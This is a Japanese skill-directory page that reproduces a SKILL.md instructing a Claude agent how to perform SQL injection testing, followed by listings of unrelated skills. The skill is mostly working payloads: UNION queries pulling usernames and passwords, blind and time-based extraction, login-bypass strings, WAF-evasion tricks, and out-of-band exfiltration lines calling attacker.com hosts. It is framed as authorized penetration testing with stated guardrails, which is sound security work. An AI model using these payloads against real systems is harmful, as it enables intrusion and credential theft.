Agent Skills by ALSEL
Anthropic Claudeデータ・分析⭐ リポ 0品質スコア 50/100

SQL Injection Testing

SQLインジェクションの脆弱性テストを依頼された際に使用するスキルです。認証バイパスやデータベース情報の抽出、クエリの脆弱性検証など、さまざまなデータベースシステムにおけるSQLiの検出・実証・分析手法を包括的に提供します。

description の原文を見る

This skill should be used when the user asks to "test for SQL injection vulnerabilities", "perform SQLi attacks", "bypass authentication using SQL injection", "extract database information through injection", "detect SQL injection flaws", or "exploit database query vulnerabilities". It provides comprehensive techniques for identifying, exploiting, and understanding SQL injection attack vectors across different database systems.

SKILL.md 本文

SQL Injection Testing

目的

Webアプリケーションに対して包括的なSQLインジェクション脆弱性評価を実施し、データベースセキュリティの欠陥を特定し、悪用テクニックを実証し、入力サニタイズメカニズムを検証します。このスキルにより、インバンド、ブラインド、アウトオブバンド攻撃ベクトル全体にわたるSQLインジェクション脆弱性の体系的な検出と悪用が可能になり、アプリケーションのセキュリティポスチャーを評価できます。

入力 / 前提条件

必要なアクセス権限

  • インジェクト可能なパラメータを持つターゲットWebアプリケーションURL
  • リクエスト操作用のBurp Suiteまたはそれに相当するプロキシツール
  • 自動化された悪用のためのSQLMap インストール
  • デベロッパーツールが有効なブラウザ

技術的要件

  • SQL クエリ構文の理解(MySQL、MSSQL、PostgreSQL、Oracle)
  • HTTPリクエスト/レスポンスサイクルの知識
  • データベーススキーマと構造への精通性
  • テストレポートの書き込み権限

法的前提条件

  • ペネトレーションテストの書面による認可
  • ターゲットURL とパラメータを含む定義されたスコープ
  • 確立された緊急連絡手順
  • データ処理契約の設置

出力 / 成果物

主要な出力

  • 重大度等級付きのSQLインジェクション脆弱性レポート
  • 抽出されたデータベーススキーマおよびテーブル構造
  • 認証バイパスのプルーフオブコンセプト実証
  • コード例を含む修復推奨事項

エビデンスアーティファクト

  • 成功したインジェクションのスクリーンショット
  • HTTPリクエスト/レスポンスログ
  • データベースダンプ(サニタイズ済み)
  • ペイロード文書

コアワークフロー

フェーズ1: 検出と偵察

インジェクト可能なパラメータの特定

データベースクエリと相互作用するユーザー制御入力フィールドを検出します:

# 一般的なインジェクションポイント
- URLパラメータ: ?id=1, ?user=admin, ?category=books
- フォームフィールド: username, password, search, comments
- Cookie値: session_id, user_preference
- HTTPヘッダ: User-Agent, Referer, X-Forwarded-For

基本的な脆弱性指標のテスト

特殊文字を挿入してエラーレスポンスをトリガーします:

-- 単一引用符テスト
'

-- 二重引用符テスト
"

-- コメントシーケンス
--
#
/**/

-- クエリスタッキング用のセミコロン
;

-- 括弧
)

アプリケーションのレスポンスを監視して確認:

  • クエリ構造を明かすデータベースエラーメッセージ
  • 予期しないアプリケーション動作の変化
  • HTTP 500内部サーバーエラー
  • 修正されたレスポンスコンテンツまたは長さ

ロジックテストペイロード

ブール値ベースの脆弱性存在を検証:

-- 真条件テスト
page.asp?id=1 or 1=1
page.asp?id=1' or 1=1--
page.asp?id=1" or 1=1--

-- 偽条件テスト  
page.asp?id=1 and 1=2
page.asp?id=1' and 1=2--

真と偽の条件間のレスポンスを比較して、インジェクション機能を確認します。

フェーズ2: 悪用テクニック

UNION ベース抽出

攻撃者制御の SELECT ステートメントを元のクエリと結合:

-- カラム数の決定
ORDER BY 1--
ORDER BY 2--
ORDER BY 3--
-- エラーが発生するまで続行

-- 表示可能なカラムの検出
UNION SELECT NULL,NULL,NULL--
UNION SELECT 'a',NULL,NULL--
UNION SELECT NULL,'a',NULL--

-- データ抽出
UNION SELECT username,password,NULL FROM users--
UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--

エラーベース抽出

情報をリークするデータベースエラーを強制:

-- MSSQLバージョン抽出
1' AND 1=CONVERT(int,(SELECT @@version))--

-- MySQLの XPATH 経由抽出
1' AND extractvalue(1,concat(0x7e,(SELECT @@version)))--

-- PostgreSQL キャストエラー
1' AND 1=CAST((SELECT version()) AS int)--

ブール値ベースのブラインド抽出

アプリケーション動作の変化を通じてデータを推測:

-- 文字抽出
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='b'--

-- 条件付きレスポンス
1' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0--

時間ベースのブラインド抽出

データベーススリープ関数を確認に使用:

-- MySQL
1' AND IF(1=1,SLEEP(5),0)--
1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a',SLEEP(5),0)--

-- MSSQL
1'; WAITFOR DELAY '0:0:5'--

-- PostgreSQL
1'; SELECT pg_sleep(5)--

アウトオブバンド(OOB)抽出

外部チャネルを通じてデータを流出:

-- MSSQL DNSオーバーフロー
1; EXEC master..xp_dirtree '\\attacker-server.com\share'--

-- MySQL DNSオーバーフロー
1' UNION SELECT LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\a'))--

-- Oracle HTTPリクエスト
1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--

フェーズ3: 認証バイパス

ログインフォームの悪用

認証情報検証をバイパスするペイロードを作成:

-- クラシックバイパス
admin'--
admin'/*
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'/*
') OR ('1'='1
') OR ('1'='1'--

-- ユーザー名列挙
admin' AND '1'='1
admin' AND '1'='2

クエリ変換の例:

-- 元のクエリ
SELECT * FROM users WHERE username='input' AND password='input'

-- インジェクション(ユーザー名: admin'--)
SELECT * FROM users WHERE username='admin'--' AND password='anything'
-- パスワードチェックはコメント経由でバイパスされる

フェーズ4: フィルタバイパステクニック

文字エンコーディングバイパス

特殊文字がブロックされている場合:

-- URL エンコーディング
%27 (単一引用符)
%22 (二重引用符)
%23 (ハッシュ)

-- ダブルURL エンコーディング
%2527 (単一引用符)

-- Unicode代替
U+0027 (アポストロフィ)
U+02B9 (修飾子文字プライム)

-- 16進数文字列(MySQL)
SELECT * FROM users WHERE name=0x61646D696E  -- 16進数での'admin'

ホワイトスペースバイパス

ブロックされたスペースを代替:

-- コメント代替
SELECT/**/username/**/FROM/**/users
SEL/**/ECT/**/username/**/FR/**/OM/**/users

-- 代替ホワイトスペース
SELECT%09username%09FROM%09users  -- タブ文字
SELECT%0Ausername%0AFROM%0Ausers  -- 改行

キーワードバイパス

ブラックリストされたSQLキーワードを回避:

-- 大文字小文字の変更
SeLeCt, sElEcT, SELECT

-- インラインコメント
SEL/*bypass*/ECT
UN/*bypass*/ION

-- ダブル記述(フィルタが1回削除する場合)
SELSELECTECT → SELECT
UNUNIONION → UNION

-- ヌルバイトインジェクション
%00SELECT
SEL%00ECT

クイックリファレンス

検出テストシーケンス

1. ' を挿入 → エラーを確認
2. " を挿入 → エラーを確認
3. 試す: OR 1=1-- → 動作変化を確認
4. 試す: AND 1=2-- → 動作変化を確認
5. 試す: ' WAITFOR DELAY '0:0:5'-- → 遅延を確認

データベースフィンガープリント

-- MySQL
SELECT @@version
SELECT version()

-- MSSQL
SELECT @@version
SELECT @@servername

-- PostgreSQL
SELECT version()

-- Oracle
SELECT banner FROM v$version
SELECT * FROM v$version

Information Schema クエリ

-- MySQLおよびMSSQLのテーブル列挙
SELECT table_name FROM information_schema.tables WHERE table_schema=database()

-- カラム列挙
SELECT column_name FROM information_schema.columns WHERE table_name='users'

-- Oracle等価物
SELECT table_name FROM all_tables
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'

一般的なペイロードクイックリスト

目的ペイロード
基本テスト' または "
ブール値真OR 1=1--
ブール値偽AND 1=2--
コメント(MySQL)# または --
コメント(MSSQL)--
UNION プローブUNION SELECT NULL--
時間遅延AND SLEEP(5)--
認証バイパス' OR '1'='1

制約とガードレール

運用上の境界

  • 明示的な認可なしに破壊的なクエリ(DROP、DELETE、TRUNCATE)を実行しないこと
  • データ抽出をプルーフオブコンセプト量に制限
  • リソース集約的なクエリによるサービス拒否を回避
  • 実ユーザーデータを持つ本番データベースを検出したら直ちに停止

技術的制限

  • WAF/IPSは一般的なペイロードをブロックする場合があり、回避テクニックが必要
  • パラメータ化クエリは標準インジェクションを防止
  • 一部のブラインドインジェクションには大量のリクエストが必要(レート制限の懸念)
  • 2次インジェクションはデータフローの理解が必要

法的かつ倫理的要件

  • テスト前に書面によるスコープ契約が存在する必要があります
  • 抽出されたすべてのデータを文書化し、データ保護要件に従って処理
  • 合意されたチャネルを通じて重大な脆弱性を直ちに報告
  • スコープ要件を超えてデータにアクセスしないこと

例1: 電子商取引製品ページSQLi

シナリオ: IDパラメータを持つ製品表示ページのテスト

初期リクエスト:

GET /product.php?id=5 HTTP/1.1

検出テスト:

GET /product.php?id=5' HTTP/1.1
レスポンス: MySQLエラー - '''の近くの構文エラー 

カラム列挙:

GET /product.php?id=5 ORDER BY 4-- HTTP/1.1
レスポンス: 通常
GET /product.php?id=5 ORDER BY 5-- HTTP/1.1
レスポンス: エラー(4カラムが確認された)

データ抽出:

GET /product.php?id=-5 UNION SELECT 1,username,password,4 FROM admin_users-- HTTP/1.1
レスポンス: 管理者認証情報を表示

例2: ブライン時間ベース抽出

シナリオ: 目に見える出力なし、ブラインドインジェクションのテスト

脆弱性を確認:

id=5' AND SLEEP(5)-- 
-- レスポンスが5秒遅延(脆弱性確認)

データベース名の長さを抽出:

id=5' AND IF(LENGTH(database())=8,SLEEP(5),0)--
-- 遅延によりデータベース名が8文字であることを確認

文字を抽出:

id=5' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)--
-- 文字を反復処理して抽出: 'appstore'

例3: ログインバイパス

ターゲット: 管理者ログインフォーム

標準ログインクエリ:

SELECT * FROM users WHERE username='[input]' AND password='[input]'

インジェクションペイロード:

ユーザー名: administrator'--
パスワード: anything

結果のクエリ:

SELECT * FROM users WHERE username='administrator'--' AND password='anything'

結果: パスワードチェックがバイパスされ、管理者として認証されます。

トラブルシューティング

エラーメッセージが表示されない

  • アプリケーションは一般的なエラー処理を使用
  • ブラインドインジェクションテクニック(ブール値または時間ベース)に切り替え
  • コンテンツではなくレスポンス長の違いを監視

UNION インジェクションが失敗

  • カラム数が正確でない可能性 → ORDER BY でテスト
  • データ型が不一致の可能性 → まずすべてのカラムでNULLを使用
  • 結果が表示されない可能性 → インジェクト可能なカラム位置を検出

WAFがリクエストをブロック

  • エンコーディングテクニック(URL、16進数、Unicode)を使用
  • キーワード内にインラインコメントを挿入
  • 同じ操作の代替構文を試す
  • 複数のパラメータ間でペイロードをフラグメント化

ペイロードが実行されない

  • データベースタイプの正確なコメント構文を確認
  • アプリケーションがパラメータ化クエリを使用するかどうかを確認
  • 入力がSQLクエリに到達することを確認(クライアント側フィルタリングではない)
  • 異なるインジェクションポイント(ヘッダ、Cookie)をテスト

時間ベースインジェクションが一貫しない

  • ネットワーク遅延が誤検知を引き起こす可能性
  • 明確にするために長い遅延(10秒以上)を使用
  • パターンを確認するために複数のテストを実行
  • サーバー側キャッシング効果を考慮

ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ

詳細情報

作者
davila7
リポジトリ
davila7/claude-code-templates
ライセンス
MIT
最終更新
不明

Source: https://github.com/davila7/claude-code-templates / ライセンス: MIT

関連スキル

OpenAIデータ・分析⭐ リポ 1,451

hugging-face-trackio

Trackioを使用してMLトレーニング実験を追跡・可視化できます。トレーニング中のメトリクスログ記録(Python API)、トレーニング診断のアラート発火、ログされたメトリクスの取得・分析(CLI)が必要な場合に活用してください。リアルタイムダッシュボード表示、Webhookを使用したアラート、HF Space同期、自動化向けのJSON出力に対応しています。

by gradio-app
汎用データ・分析⭐ リポ 855

btc-bottom-model

ビットコインのサイクルタイミングモデルで、加重スコアリングシステムを搭載しています。日次パルス(4指標、32ポイント)とウィークリー構造(9指標、68ポイント)の2カテゴリーにわたる13の指標を追跡し、0~100のマーケットヒートスコアを算出します。ETFフロー、ファンディングレート、ロング/ショート比率、恐怖・貪欲指数、LTH-MVRV、NUPL、SOPR(LTH+STH)、LTH供給率、移動平均倍率(365日MA、200週MA)、週次RSI、出来高トレンドに対応します。市場サイクル全体を通じて買いと売りの両方の推奨を提供します。ビットコインの底値拾い、BTCサイクルポジション、買い時・売り時、オンチェーン指標、MVRV、NUPL、SOPR、LTH動向、ETFの流出入、ファンディングレート、恐怖指数、ビットコインが過熱状態か、マイナーコスト、暗号資産市場のセンチメント、BTCのポジションサイジング、「今ビットコインを買うべきか」「BTCが天井をつけているか」「オンチェーン指標は何を示しているか」といった質問の際にこのスキルを活用します。

by star23
Anthropic Claudeデータ・分析⭐ リポ 380

protein_solubility_optimization

タンパク質の溶解性最適化 - タンパク質の溶解性を最適化します。タンパク質の特性を計算し、溶解性と親水性を予測し、有効な変異を提案します。タンパク質配列の特性計算、タンパク質機能の予測、親水性計算、ゼロショット配列予測を含むタンパク質エンジニアリング業務に使用できます。3つのSCPサーバーから4つのツールを統合しています。

by SpectrAI-Initiative
Anthropic Claudeデータ・分析⭐ リポ 1,743

research-lookup

Parallel Chat APIまたはPerplexity sonar-pro-searchを使用して、最新の研究情報を検索できます。学術論文の検索にも対応しています。クエリは自動的に最適なバックエンドにルーティングされるため、論文の検索、研究データの収集、科学情報の検証に活用できます。

by K-Dense-AI
Anthropic Claudeデータ・分析⭐ リポ 299

tree-formatting

ggtree(R)またはiTOL(ウェブ)を使用して、系統樹の可視化とフォーマットを行います。系統樹を図として描画する際、ツリーレイアウトの選択、分類学に基づく枝やラベルの色付け、クレードの折りたたみ、サポート値の表示、またはツリーへのオーバーレイ追加が必要な場合に使用してください。系統推定(protein-phylogenyスキルを使用)やドメイン注釈(今後の独立したスキル)には使用しないでください。

by majiayu000
汎用データ・分析⭐ リポ 145

querying-indonesian-gov-data

インドネシア政府の50以上のAPIとデータソースに接続できます。BPJPH(ハラール認証)、BOM(食品安全)、OJK(金融適正性)、BPS(統計)、BMKG(気象・地震)、インドネシア中央銀行(為替レート)、IDX(株式)、CKAN公開データポータル、pasal.id(第三者法MCP)に対応しています。インドネシア政府データを活用したアプリ開発、.go.idウェブサイトのスクレイピング、ハラール認証の確認、企業の法的適正性の検証、金融機関ステータスの照会、またはインドネシアMCPサーバーへの接続時に使用できます。CSRF処理、CKAN API使用方法、IP制限回避など、すぐに実行可能なPythonパターンを含んでいます。

by suryast
本サイトは GitHub 上で公開されているオープンソースの SKILL.md ファイルをクロール・インデックス化したものです。 各スキルの著作権は原作者に帰属します。掲載に問題がある場合は info@alsel.co.jp または /takedown フォームよりご連絡ください。
原作者: davila7 · davila7/claude-code-templates · ライセンス: MIT